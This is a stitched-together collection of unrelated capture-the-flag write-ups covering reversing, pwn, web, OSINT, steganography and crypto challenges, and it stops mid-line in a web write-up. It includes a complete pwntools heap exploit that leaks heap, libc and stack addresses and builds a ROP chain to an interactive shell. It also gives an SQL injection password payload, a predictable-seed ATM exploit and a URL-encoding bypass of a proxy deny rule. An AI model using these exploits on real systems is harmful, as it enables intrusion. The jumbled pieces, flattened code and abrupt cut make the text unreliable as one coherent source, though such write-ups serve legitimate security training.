gxULzTOsTWmdkjsG | dlopen│ └── ./ZSRjpLdKATimmynK.so | HjjdWoMQsPLLmUsq | SUB├── ./kKEoBUyIcsAleOQv.so | CndYDHCucWiGGHUM | dlopen - fopen("/tmp//etckFbnJjRnlz")│ └── ./FDQnKbBRxLwoBlIC.so | ELvmvTCBVmvsrFSn | dlopen - fopen("/tmp//usrKcNrWpYxaF")│ └── ./VaQnStigqoUcueNM.so | JyEUFKjxJWxwnbGD | dlopen│ └── ./IMXDndASCwPZnwOi.so | AtwBjsyfzbJaxqPK | dlopen│ └── ./XySmDZCRsDnORgil.so | AXONVpGXcUIuvLUD | SUB├── ./XOowkkodSIJHeQPx.so | AXWAPxECOPaEjmyt | dlopen│ └── ./KGJKDiOHoMzSmBrC.so | xudGJZvVCYuVCghJ | dlopen - fopen("/bin/cat")│ └── ./HHihKcFlkVOCyUoL.so | PmNOoCHGFJERNWlY | dlopen - fopen("/etc/passwd")│ └── ./cbbPXuHeBYqzplll.so | fBTPLOVODtulwcIt | SUB├── ./UvwLhcZXVYyFTrOJ.so | KLKwJYfZKPkXRFvN | dlopen│ └── ./eKreUawgmdxBusSk.so | uSoOkCwSububLxRP | dlopen - fopen("/tmp//etcNriwdawvUu")│ └── ./FuQuBWtSCsOCnzXm.so | akKKIwUmiVjZEQKS | dlopen - fopen("/bin/sh")│ └── ./zaLckaGIWFXKwdAP.so | SfhgFobsxgiYiTQG | dlopen - fopen("/bin/sh")│ └── ./UmhuSlDMokkmZlNQ.so | NHDgVTdZhKyQIGoi | SUB├── ./JmMUtAorIujHtIbX.so | sCwDlfEOldeMrKhy | dlopen - fopen("/bin/cat")│ └── ./UHoVMGHkrluvZRXp.so | jhyMUEjwBHUJIKNP | dlopen - fopen("/bin/sh")│ └── ./hVrxgzMLDlzslgIr.so | NzSKCTuUaHnyBQyg | SUB├── ./zNNidAnJboLBCBIs.so | xBAvRbuqtBsJtzFN | dlopen - fopen("/bin/sh")│ └── ./seJTauTedfaBkIgC.so | xKJdZbgYTiIVDUox | XOR├── ./GEtnxdbVfDmvIwFC.so | EvnUyQofXwDSGpZB | XOR├── ./JyIolYzAMfpUSEKT.so | ulyILNvejqqyPsZg | dlopen - fopen("/tmp//etcvBwSjsGsTB")│ └── ./gFyyIhMdoWtMTvfJ.so | dlKZgUCkhJHTtEup | KEY SHUFFLE├── ./iRncDoXjGXNizFTC.so | CtVaDQBnebZIKTzI | KEY SHUFFLE├── ./WOIyABNGeMkgJjhG.so | RIfpDnyUTxPAZYbm | dlopen - fopen("/tmp//usreQCCVKCvme")│ └── ./IuScbufhNSCdfYTn.so | IwufdPKvfVXQceox | dlopen - fopen("/tmp//etchSoMkTLslV")│ └── ./WDNxbvSyNIjywCBl.so | woyRTGrXkqhZsZZv | dlopen│ └── ./GnMlHrWdlQtLfHhw.so | ahWQzTEVccWdtIPX | KEY SHUFFLE└── ./YQMdeAtASVBKahuB.so | EaaEllDnCAVVihsj | dlopen - fopen("/etc/passwd") └── ./UEPOVenSIxiDOhPf.so | SRUckolcFjIykxbU | dlopen - fopen("/tmp//usrQDtJEyexaa") └── ./tjviHHXLiGhjmuhw.so | GzXoCldywcoGdEtz | dlopen - fopen("/tmp//usruhBgcIYSbY") └── ./YVJNDrZJLSOYOJNg.so | DgqpAJtAPoBEmjEW | dlopen - fopen("/bin/sh") └── ./xkVCBzrNnSsCwPno.so | gvHfpcEhaPRWdkhX | KEY SHUFFLE``` Notable here: - `fopen` calls to existing files (`/bin/sh`, `/etc/passwd`) which the functions verify exist or exit- `fopen` calls to non-existing files (`/tmp/<something`) which the functions verify do not exist or exit- `clock_gettime` calls which are just `arg0+arg1` but evaluate to `arg0+arg1+1` if function is not executed fast enough (e.g. under a debugger)- `ADD` / `SUB` / `XOR` which all do `arg0 op arg1`- `"KEY SHUFFLE"` which do some simple operation using `arg0`, `arg2` and hardcoded constants that are different in each folder ![](img/callenc.png) The actual functionality of the `beatme` binaries are at the end where given a `key` and an amount of iterations the input is encrypted and compared against a hardcoded value.If our encrypted input matches we get a `:)` output, `:(` otherwise. ![](img/encrypt.png) The `encrypt` function here is the most interesting part as it is obfuscated with the function pointers we resolved at the start of `main`. To start with we wrote angr code to generically solve this by inverting `encrypt` for each `beatme` binary individually but it turned out to be very slow. After more analysis we realized the following similarities between the sub-challenges: - The `encrypt` code always does 16 loop iterations- The constant `0x9e3779b9` always appears- The `"KEY SHUFFLE"` functions only ever appear the beginning and operate on the `k` input This (together with cleaning the code up for one specific binary and verifying it) made us realize that this is just plain TEA with modified keys. So each of sub-challenges has a `key`, an `iteration count`, `key scrambling functions` and an `encrypted input`.We need to apply TEA decryption `iteration count`-times on the `encrypted input` with the `key` run through the `key scrambling functions` to get the correct input.To do this we need to extract these values from the sub-challenges/folders. Instead of extracting the `key` and `key scrambling functions` separately we chose to just get the `scrambled key` that is actually used in the TEA encryption by evaluating the code up to that point and extracting the key. Our solution is build using angr again and does the following things: - Preload the shared objects in the sub-challenge folder and hook `dlopen` and `dlsym` to resolve the function pointers correctly- Hook `fopen` and `fclose` and code in behavior to pass the checks for existing and non-existing files without accessing the file-system- Use `CFGFast` to find the `main` (from `__libc_start_main`), the `encrypt` function (only internal call in `main`) and some specific basic blocks- Count the amount of `encrypt` calls (if this number is higher than 1, then `iteration count` was inlined and the amount of calls is our count)- Extract `iteration count` if it wasn't inlined from a `mov ebx, <amount>` instruction just before the `encrypt` loop- Get the hardcoded `encrypted input` from the only comparison in `main`- Find the start of the TEA loop in the `encrypt` function and use angr to explore up to here to extract the scrambled key With this we have all necessary information to try decrypting the `encrypted input` and see if running the binary confirms it with a `:)`. ```python import angrimport claripyimport loggingimport globimport subprocessimport multiprocessingimport tqdm logging.getLogger('angr').setLevel(logging.ERROR) # The actual function of the encryption is just TEAdef tea_decrypt(a, b, k): sum = 0xC6EF3720 delta = 0x9E3779B9 for n in range(32, 0, -1): b = (b - ((a << 4) + k[2] ^ a + sum ^ (a >> 5) + k[3]))&0xffffffff a = (a - ((b << 4) + k[0] ^ b + sum ^ (b >> 5) + k[1]))&0xffffffff sum = (sum - delta)&0xffffffff return [a, b] def verify_binary(num_path, inp): proc = subprocess.Popen("./beatme", cwd=num_path, stdin=subprocess.PIPE, stdout=subprocess.PIPE) stdout, stderr = proc.communicate(inp) if b":)" in stdout: return True else: return False def find_values(num_path): class Dlopen(angr.SimProcedure): # We already force-loaded all the libraries so no need to resolve them at runtime def run(self, *skip): return 1 class FcloseHook(angr.SimProcedure): # Ignore closing of fake fopen'd files def run(self, *skip): return 1 class FopenHook(angr.SimProcedure): def run(self, name, thing): name = self.state.mem[name.to_claripy()].string.concrete name = name.decode('utf-8') # Some wrappers try to open random files in /tmp/ # and expects them to fail if "tmp" in name: return 0 # Some other wrappers try to known good files # and expects them to open successfully return 9 class DlsymHook(angr.SimProcedure): # manually resolve dlsym using already loaded symbols def run(self, frm, name): name = self.state.mem[name].string.concrete name = name.decode('utf-8') lo = list(proj.loader.find_all_symbols(name)) return lo[0].rebased_addr load_options = {} # load all libraries in the binary folder # this way we do not need to load them "at runtime" load_options['force_load_libs'] = glob.glob(f"{num_path}/*.so") proj = angr.Project(num_path+"/beatme", auto_load_libs=False, load_options=load_options, main_opts = {'base_addr': 0x400000, 'force_rebase': True}) # Replacing those for quick resolving of dlsym calls proj.hook_symbol('dlopen', Dlopen()) proj.hook_symbol('dlsym', DlsymHook()) # Replacements for "anti-angr" fopen calls proj.hook_symbol('fopen', FopenHook()) proj.hook_symbol('fclose', FcloseHook()) # This gets us the main function address from _start # The CFGFast settings here are optional and only set to increase speed (~2x) # This is the main bottleneck cfg = proj.analyses.CFGFast(force_smart_scan=False, symbols=False, indirect_jump_target_limit=1) entry_node = cfg.get_any_node(proj.entry) main_addr = entry_node.successors[0].successors[0].addr main_f = cfg.kb.functions[main_addr] encrypt_function = None encrypt_callsite = None encrypt_function_calls = 0 breakpoint_address = None # Get all call sites within main for x in main_f.get_call_sites(): fun = cfg.kb.functions[main_f.get_call_target(x)] # The only call main makes that isn't an imported function is the call to the encrypt function if fun.name.startswith('sub_'): encrypt_function = fun # Store the first call site of encrypt to get the loop limit if encrypt_callsite == None: encrypt_callsite = x # Count the actual calls in case the loop got inlined (this will be 2 if not inlined because of loop placement, 2 if inlined 2 iterations or 3 if inlined 3 iterations) encrypt_function_calls += 1 # if no break point address has been found yet search for it if breakpoint_address == None: srcHighest = 0 # the breakpoint should be at the start of the encrypt loop to extract the unscrambled key # we can get there from the transition graph by getting the destination of the last jump backwards (which happens at the end of the loop) for src, dst in fun.transition_graph.edges: if src.addr < srcHighest: continue if dst.addr > src.addr: continue srcHighest = src.addr breakpoint_address = dst.addr loop_count = None call_bb = cfg.model.get_any_node(encrypt_callsite) # If the loop is not inlined then the call basic block contains "mov ebx, <amount>" for instr in call_bb.block.capstone.insns: if instr.mnemonic == 'mov' and instr.op_str.startswith('ebx, '): j_end = instr.op_str.index(' ') loop_count = int(instr.op_str[j_end+1:].replace("h", ""), 16) # If no mov ebx, <amount> have been found in the first call bb then it is inlined if loop_count == None: # The loop got inlined and the amount of calls to encrypt are the amount of iterations loop_count = encrypt_function_calls assert loop_count != None encrypted_compare_constant = None # Search main for the basic block that compares against the encrypted input for block in main_f.blocks: last_constant = None for instr in block.capstone.insns: # store the last found constant move if instr.mnemonic == 'movabs': end = instr.op_str.index(' ') last_constant = int(instr.op_str[end+1:].replace("h", ""), 16) # the last constant moved into a register is the compare constant if instr.mnemonic == 'cmp': encrypted_compare_constant = last_constant break if encrypted_compare_constant != None: break assert encrypted_compare_constant != None # Initialize angr bytes_list = [claripy.BVS('flag_%d' % i, 8) for i in range(8)] flag = claripy.Concat(*bytes_list) st = proj.factory.entry_state(stdin=flag) st.options.ZERO_FILL_UNCONSTRAINED_MEMORY = True sm = proj.factory.simulation_manager(st) # At the breakpoint these registers always contain the key sm.explore(find=breakpoint_address) state = sm.found[0] k0 = state.solver.eval(state.regs.ebx) k1 = state.solver.eval(state.regs.r15d) k2 = state.solver.eval(state.regs.r14d) k3 = state.solver.eval(state.regs.eax) # TEA a and b from encrypted value a = (encrypted_compare_constant)&0xffffffff b = (encrypted_compare_constant>>32)&0xffffffff # Decrypt the expected input for i in range(loop_count): a,b = tea_decrypt(a, b, [k0, k1, k2, k3]) # Convert it to a byte string decrypted_input = bytes([a&0xff, (a>>8)&0xff, (a>>16)&0xff, (a>>24)&0xff, b&0xff, (b>>8)&0xff, (b>>16)&0xff, (b>>24)&0xff]) # Verify that the binary agrees on this input confirmed_working = verify_binary(num_path, decrypted_input) return (k0, k1, k2, k3, encrypted_compare_constant, loop_count, decrypted_input.hex(), confirmed_working) def solve_binary(nr): k0, k1, k2, k3, encrypted_compare_constant, loop_count, decrypted_input, confirmed_working = find_values("./nloads/output/"+str(nr)) return (nr, decrypted_input, confirmed_working, k0, k1, k2, k3, encrypted_compare_constant, loop_count) # This takes about 3 hours on 16 coresnprocesses = 16 start = 0end = 13612 if __name__ == '__main__': with multiprocessing.Pool(processes=nprocesses) as p: result = list(tqdm.tqdm(p.imap_unordered(solve_binary, range(start, end+1)), total=(end-start+1))) result = sorted(result, key=lambda x: x[0]) # This is useful for diagnostics if something goes wrong lines = "" for entry in result: lines += (','.join([str(x) for x in entry])) + "\n" lines = lines[:-1] file = open("output.csv", "w") file.write(lines) file.close() print("Done writing CSV..") # This is the output binary = b'' for entry in result: binary += bytes.fromhex(entry[1]) file = open("output.jpg", "wb") file.write(binary) file.close() print("Done writing JPG..")``` Running this with multiple processes (which takes multiple hours, during the competitions we used 64 cores for this) and concatenating the correct inputs of the sub-challenges gives us a JPEG with the flag: ![](output.jpg)
> https://uz56764.tistory.com/125 ```pyfrom pwn import * #p = process('./chall')p = remote("172.20.36.128", 61408) def add_to_do(name, content_length, content): name = name if type(name) == bytes else name.encode() content = content if type(content) == bytes else content.encode() p.sendlineafter(b'>', b'1') p.sendlineafter(b'Input name:', name) p.sendlineafter(b'Input content size:', str(content_length).encode()) if content_length != 0: p.sendlineafter(b'Input content:', content) else: p.sendlineafter(b'Input content:', b'4') def mark_as_done(indexes, insert_index): p.sendlineafter(b'>', b'2') p.sendlineafter(b'Input index:', ','.join(map(str, indexes)).encode()) p.sendlineafter(b'Input insert index:', str(insert_index).encode()) dummy_count = 7 for i in range(dummy_count): add_to_do(f'Dummy{i}', 0, '') mark_as_done([0], 0) add_to_do(f'______', 4097, 'A') mark_as_done(range(dummy_count - 1), 0) nn = 0x400add_to_do(f'targetX', nn, 'contentX') p.sendlineafter(b'>', b'4') p.recvuntil(b'targetX\n')p.recvn(8)heap_base = u64(p.recvn(8)) - 0x3f10print(f'heap_base = {hex(heap_base)}'); raw_input() time.sleep(0.5)p.sendlineafter(b'>', b'4') p.recvuntil(b'content: ') data = p.recvn(nn) for i in range(0,7): print(i) data = data[:0x120] + p64(heap_base+0xc00+0x400*i) + data[0x120+0x8:] time.sleep(0.1) p.sendline(b'3') p.sendlineafter(b':', b'0') p.sendlineafter(b':', data) p.sendlineafter(b'>', b'4') #p.recvuntil(b'\x7f') libc_base = u64(p.recvuntil(b'\x7f', timeout=3)[-6:].ljust(8,b'\x00')) if libc_base != 0: break p.clean()libc_base = libc_base - 0x1fed30print(f'libc_base = {hex(libc_base)}'); raw_input() data = data[:0x120] + p64(libc_base+0x206258) + data[0x120+0x8:] p.sendlineafter(b'>', b'3')p.sendlineafter(b':', b'0')p.sendlineafter(b':', data) p.sendlineafter(b'>', b'4') p.recvuntil(b'[01]: name: targetX') stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3b0print(f'stack = {hex(stack)}'); raw_input()#0x00007fff2e32edf8 data = data[:0x120] + p64(stack) + data[0x120+0x8:]p.sendlineafter(b'>', b'3')p.sendlineafter(b':', b'0')p.sendlineafter(b':', data) pay = b'' pay += p64(libc_base+0x0000000000028ac2)pay += p64(libc_base+0x1c041b)pay += p64(libc_base+0x1c041b)pay += p64(libc_base+0x0000000000028795)pay += p64(libc_base+0x1c041b)pay += p64(libc_base+0x552b0) pay += p64(0xdeadbeef) p.sendlineafter(b'>', b'3')p.sendlineafter(b':', b'1')p.sendlineafter(b':', pay) p.interactive()```
from memory and a partial note. The web page contained a SQL injection. There was a condition to pass in order to go into the get results. if username != 'admin' or password[:5] != 'admin' or password[-5:] != 'admin': ...exit() This required username to be "admin"And it required that the password starts with admin [:5] and finished with admin [-5:] The classic SQL injection = " klklk' OR '1=1' " will not work and needed to be transformed into "admin' OR '(something TRUE finishing with admin')"So the final result wasusername="admin"password="admin'+OR+'admin=admin'"
# BASE X Category: Cryptography Files: ## Description It's just a matter of time, and you shall arrive to the correct base! ```@sVra<c)MEA8?EFAOg6T=)B[#:01=q<^^ak;/8X9;[email protected]=YiNd:.7WC@Vmi$=Ya/s<c'[>:2
Overview1. Analysis of Binary2. Analysis of Goal3. Solving Problems 3-1. read the first bit of the random constant (be44) 3-2. construct the random constant using wait instruction and after_op_func https://velog.io/@0range1337/CTF-DEF-CON-CTF-Qualifier-2024-pass-it-on-analysis-deep-dive-into-swift-virtual-machine
Just read png with cat or open with text editor ![twine](https://github.com/zer00d4y/writeups/assets/128820441/a3cf89a6-c283-4b02-a27d-22df4868bbc1) ![image](https://github.com/zer00d4y/writeups/assets/128820441/a2879b65-4bb2-4271-8735-f07dabb1450a) FLAG: flag{4ac54e3ba5f8f09049f3ad62403abb25}
## Solution:Contine with the conversations in Discord Author has left a helpful clue: the messenger of "d4wgbyte262" in Discord: ``she's good! been taking a lot of flicks of her when i visit my neighbors and uploading them online`` They're talking about `flicks` and uploading pictures online, which reminds me of a famous photo-sharing website: https://www.flickr.com/Searching for "d4wgbyte262" on Flickr, I found this account: https://www.flickr.com/photos/200261418@N03Accessing the account, can see that there are a lot of dog pictures here: Randomly clicking on a photo, then clicking on the map section will reveal the location where the photo was taken, as well as all the photos uploaded by that person on Flickr. We have another hint message in Discord:Now, just need to search for a fire station near the WhiteHorn area on Google Maps:Afterward, cross-reference it with the location where the photo was taken on Flickr to determine the precise location of the house.And got the flag: ### Flag: ``wctf{51.0911, -113.9561}``
[https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/Hacker%20Web%20Store](https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/Hacker%20Web%20Store)
[https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/Thomas%20DEVerson](https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/Thomas%20DEVerson)
[https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/HelpfulDesk](https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/HelpfulDesk)
Searched the photo using Google Lens and found out it was from a competition. Found this [article](https://www.timeout.com/newyork/art/ice-sculpture-in-times-square) and all the information were there. Flag: `nicc{Lovie_Pignata_Smitten}`
Simple IDOR (Insecure direct object references), where camera ID encoded to sha256 hash ![image](https://github.com/zer00d4y/writeups/assets/128820441/ec62cf43-5e26-482b-b84d-a77092dab7f2) 4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8 -> 11 ![image](https://github.com/zer00d4y/writeups/assets/128820441/860cd3de-47b4-4341-ba54-fb1c370228f9) ![image](https://github.com/zer00d4y/writeups/assets/128820441/f3056d87-eabb-4375-8a47-adaab98d70c9) 0 -> 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 ![image](https://github.com/zer00d4y/writeups/assets/128820441/366374fb-2998-4c39-8abf-424d4e605d0c) FLAG: flag{770a058a80a9bca0a87c3e2ebe1ee9b2}
# Gameplay 2 - L3akCTF 2024 Gamplay 1 had the flag [in the video](https://www.youtube.com/watch?v=d8B0tS_wcIo). Gameplay 2 starts in the same place but in the comment section. ![initial comment](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/gameplay2_begin.png) As we can see, *@martini-craft* gave away his [Reddit account](https://www.reddit.com/user/Feisty-Schedule1097/), which wasn't very full of stuff fortunately. ![reddit account](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/gameplay2_reddit1.png)![more of reddit account](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/gameplay2_reddit2.png) Here's where I got a bit lost as initially I couldn't find a way to read deleted comments, and none of the other stuff I was doing had any results... so I contacted the awesome stuff that created this CTF (❤️❤️❤️) and they told me to keep trying with the deleted comments. Eventually I found [this website](https://redditcommentsearch.com/) that provided me the info I needed, and I was able to access their [discord server](https://discord.gg/962JwKdE), where they had the flag. ![deleted comment](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/gameplay2_deleted.png)![solution image](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/gameplay2_solved.png) ⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️ > Flag: **L3AK{Th3_g4M1nG_TrA1L_LeD_Y0u_heR3}** ⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️
# Space Heroes ATM Writeup ## IntroductionIn this writeup, we'll discuss the exploitation of the "Space Heroes ATM" challenge. The goal was to exploit a vulnerability in the provided binary to gain unauthorized access to the ATM and retrieve the flag. ## Initial AnalysisUpon analyzing the binary, we discovered that it utilizes the current time as a seed for generating a random number. This random number is then used in the ATM service for some operation, likely related to processing transactions. Additionally, there was no apparent input validation or authentication mechanism. ## Exploitation Strategy1. **Understanding Time-based Seed**: The binary generates a random number using the current time as a seed. This means that if we can predict or control the time at which the random number is generated, we can predict the generated random number.2. **Exploiting Predictable Randomness**: We can predict the random number by manipulating the time zone offset used in the generation process. By setting the time zone offset to a specific value, we can ensure that the generated random number matches our expectation.3. **Interacting with the ATM Service**: With the predictable random number, we interact with the ATM service to trigger the desired behavior. This may involve simulating a transaction or accessing a hidden functionality. ## Exploitation Code```pythonfrom pwn import *from ctypes import CDLL #context.binary = binary = ELF("./atm.bin") libc = CDLL('libc.so.6') def generate_random_number(): current_time = int(time.time()) libc.srand(current_time) random_number = libc.rand() return random_number #p = process()p = remote("spaceheroes-atm.chals.io", 443, ssl=True, sni="spaceheroes-atm.chals.io")random_num = generate_random_number() p.recvuntil(b"Option:")p.sendline(b"w")p.recvuntil(b"Amount:")p.sendline(str(random_num).encode())p.recvline()print(p.recvline())p.close()
## Eternally Pwned: Infiltration- Tags: Forensics- Description: I recently had my passwords and other sensitive data leaked, but I have no idea how. Can you figure out how the attacker got in to my PC? ## Solution- To solve this question you need to download the following file and open it using Wireshark tool, to intercept all of the traffic.- There we will see a lot of logs, after searching for something that will look suspicious, we find one of the Echo requests. ![first-part-flag.png](https://github.com/archv1le/CTF-Write-Ups/assets/158765690/efb98506-465c-49e7-a6c9-59b440c0c1c7) - In there we will see some interesting Base64 stringm when we decode it, we get: ```wctf{l3tS_``` - This is the first part of the flag, now let's find another two, using the search bar and look for more of those strings, that will give us the final result with the flag. ![second-part-flag.png](https://github.com/archv1le/CTF-Write-Ups/assets/158765690/26fc79f1-b303-4852-8f71-c09124f087dd) ```3teRn4lLy_g0_``` ![third-part-flag.png](https://github.com/archv1le/CTF-Write-Ups/assets/158765690/e471a28f-4c30-498e-889f-be7af415963b) ```bLU3_7n9wm4iWnL}``` - Let's concatenate those parts into one to get the final result. ```wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}```
We are provided with a png image. Using zsteg, we can analyze the png file.```zsteg -a her-eyes.png``` Looking at the zsteg results, we can see that there is some text hidden in zlib with 'b2,rgb,lsb,yx'.```b2,rgb,lsb,yx .. zlib: data="Her \xF3\xA0\x81\x8Eeyes \xF3\xA0\x81\x89stare \xF3\xA0\x81\x83at \xF3\xA0\x81\x83you \xF3\xA0\x81\xBBwatching \xF3\xA0\x81\x9Fyou \xF3\xA0\x81\x8Eclosely, \xF3\xA0\x81\xA1she \xF3\xA0\x81\xADstarts \xF3\xA0\x81\xA5cryin...", offset=61, size=279``` In order to extract the data, we can use the following commands:```zsteg -e 'b2,rgb,lsb,yx' her-eyes.png > outputbinwalk -e output``` We get the zlib file at offset 0x3D. The file is simply a text (poem?) that reads the following:> Her ?eyes ?stare ?at ?you ?watching ?you ?closely, ?she ?starts ?crying ?mourning ?over ?lost. ?Two ?people ?walk ?towards ?her comforting her, they're the only one who belive. Two figures approach her, their presence a beacon of solace in the darkness that surrounds her. Family by blood or bond, they offer comfort to the grieving soul before them. With gentle hands and compassionate hearts, they cradle her in an embrace of understanding and support, as though they alone comprehend the depths of her pain and stand ready to bear it alongside her. Put the zlib file in hexed.it, and we can see that there is some hidden text.Suspiciously, there are some characters in hex that are hidden between the visible text.Extracting all of them and converting it to utf-8 bytestring as hex gives the following:`NICC{_Name1_Name2}` After reading the poem, and the file name (her_eyes_her_family.png), I guessed that the names represented her family.The correct flag is `NICC{_Euryale_Stheno}`, with the two names being the other two gorgons that medusa is grouped with. ( I don't know much about greek mythology )
![image](https://github.com/zer00d4y/writeups/assets/128820441/82761ac8-dce5-47f0-a5fd-493ff2479213) Check /robots.txt ![image](https://github.com/zer00d4y/writeups/assets/128820441/72b69c6d-affa-433a-86aa-809ea1ddb34a) /open_the_pod_bay_doors_hal_and_give_me_the_flag.html ![image](https://github.com/zer00d4y/writeups/assets/128820441/64704a5e-66e4-407f-b5d9-a7eecd95ebd9) FLAG: flag{3f19b983c1de42bd49af1a237d7e57b9}
# Melek> ### Difficulty: Medium>> [Melek](https://cr.yp.toc.tf/tasks/melek_3d5767ca8e93c1a17bc853a4366472accb5e3c59.txz) is a secret sharing scheme that may be relatively straightforward to break - what are your thoughts on the best way to approach it? ## Solution```py#!/usr/bin/env sage from Crypto.Util.number import *from flag import flag def encrypt(msg, nbit): m, p = bytes_to_long(msg), getPrime(nbit) assert m < p e, t = randint(1, p - 1), randint(1, nbit - 1) C = [randint(0, p - 1) for _ in range(t - 1)] + [pow(m, e, p)] R.<x> = GF(p)[] f = R(0) for i in range(t): f += x**(t - i - 1) * C[i] P = [list(range(nbit))] shuffle(P) P = P[:t] PT = [(a, f(a)) for a in [randint(1, p - 1) for _ in range(t)]] return e, p, PT nbit = 512enc = encrypt(flag, nbit)print(f'enc = {enc}')```The `encrypt` function creates a degree $t$ polynomial with the constant term being the secret and $t$ shares. This is just regular Shamir's secret sharing scheme and the secret can be recovered by interpolating the polynomial, e.g. using Lagrange's method, and evaluating it at $x = 0$. However, the secret hidden in the polynomial is not the flag, rather a number $c$ s.t. $c \equiv m^e\ (mod\ p)$. Since $p$ is prime, from Euler's theorem it follows that: $m^{p - 1} \equiv m\ (mod\ p)$, therefore $c^{y} \equiv m\ (mod\ p)$ where $y \equiv e^{-1}\ (mod\ p - 1)$. However such $y$ does not exist, as both $e$ and $p - 1$ are even (and therefore not coprime). Fortunately 2 is the only common factor of $e$ and $p - 1$, so we can calculate $m^2 \equiv c^{z}\ (mod\ p)$ where $z \equiv (\frac{e}{2})^{-1}\ (mod\ p - 1)$ and then calculate the modular square root of $m^2\ (mod\ p)$. The whole solution can be implemented with just a few lines of SageMath code:```pyfrom Crypto.Util.number import long_to_bytes with open('output.txt', 'rt') as f: exec(f.read()) e, p, PT = enc F = GF(p)R = F['x'] poly = R.lagrange_polynomial(PT)ct = poly.coefficients()[0]m = (ct^(Zmod(p - 1)(e // 2)^-1)).sqrt() print(long_to_bytes(int(m)).decode())``` ## Flag`CCTF{SSS_iZ_4n_3fF!ciEn7_5ecr3T_ShArIn9_alGorItHm!}`
[https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/All%20About%20Robots](https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/All%20About%20Robots)
# Geosint 4 - L3akCTF 2024 This last one was quite challenging, as it didn't have anything very recognisable. ![initial image](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall4_begin.png) Using this [geohints](https://geohints.com/) website, I confirmed that it looks like a european country that has tons of islands... like Greece. Google Lens also gave me some results in Greece, but nothing very promising. Eventually, I started looking for "\[country\] scenery roads" just to try to get a road similar to the one on the picture. Aaaannd.. I got lucky. ![lucky search](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall4_key.png) That [video on Youtube](https://www.youtube.com/watch?app=desktop&v=ssYN9F9XcsI) was clearly recorded going through the same road, so I watched it. It says it goes from Vouliagmeni to Lavrio, and before minute 5 it goes through the road I was searching. Right after that, it leaves behind a restaurant name Alkyonides which I was able to find on Google Maps, hence getting the coordenates to beat the last game. ![alkyonides](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall4_bar.png)![solution image](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall4_solved.png) ⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️ > Flag: **L3AK{GrEeCe_R0@DTr1P!}** ⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️✨⭐️
# LockTalk ## Video Walkthrough [![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=892 "HackTheBox Cyber Apocalypse '24: Lock Talk (web)") ## Description > In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness. ## Solution We can review source code but first let's check the site functionality. The homepage has 3 available API endpoints: ```txtGET /api/v1/get_ticket - Generates a ticket (JWT token)GET /api/v1/chat/{chatId} - Finds chat history by IDGET /api/v1/flag - Retrieves the flag``` Unfortunately, we can't execute the last two queries since they require a JWT. However, we can try to generate a JWT with `get_ticket`. ```txtForbidden: Request forbidden by administrative rules.``` OK, I guess not then! I don't see any other interesting functionality and burp scanner didn't find anything notable. Time to review the source code! The following line in `haproxy.cfg` explains the previous error. It's checking if our URL-decoded (`url_dec`), case-insensitive (`-i`) path begins (`path_beg`) with `/api/v1/get_ticket`. ```bashhttp-request deny if { path_beg,url_dec -i /api/v1/get_ticket }``` First, I thought maybe some [URL-format bypass tricks](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass) might be required to bypass the path check. Then I saw some [reports](https://portswigger.net/daily-swig/http-request-smuggling-bug-patched-in-haproxy) about [HTTP request smuggling in haproxy](https://gist.github.com/ndavison/4c69a2c164b2125cd6685b7d5a3c135b), I quickly realised this was a dead end since none of the endpoints support POST requests and the `deny` rule doesn't appear to exclude internal traffic. I decided to try [403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) and found a few different techniques to bypass, e.g. this one with a URL-encoded `/`. ```bashhttp://127.0.0.1:1337/%2fapi/v1/get_ticket``` Now we have a valid JWT and can read chat history but not retrieve the flag. Checking `jwt_tool`, we find information about the token. ```bashjwt_tool 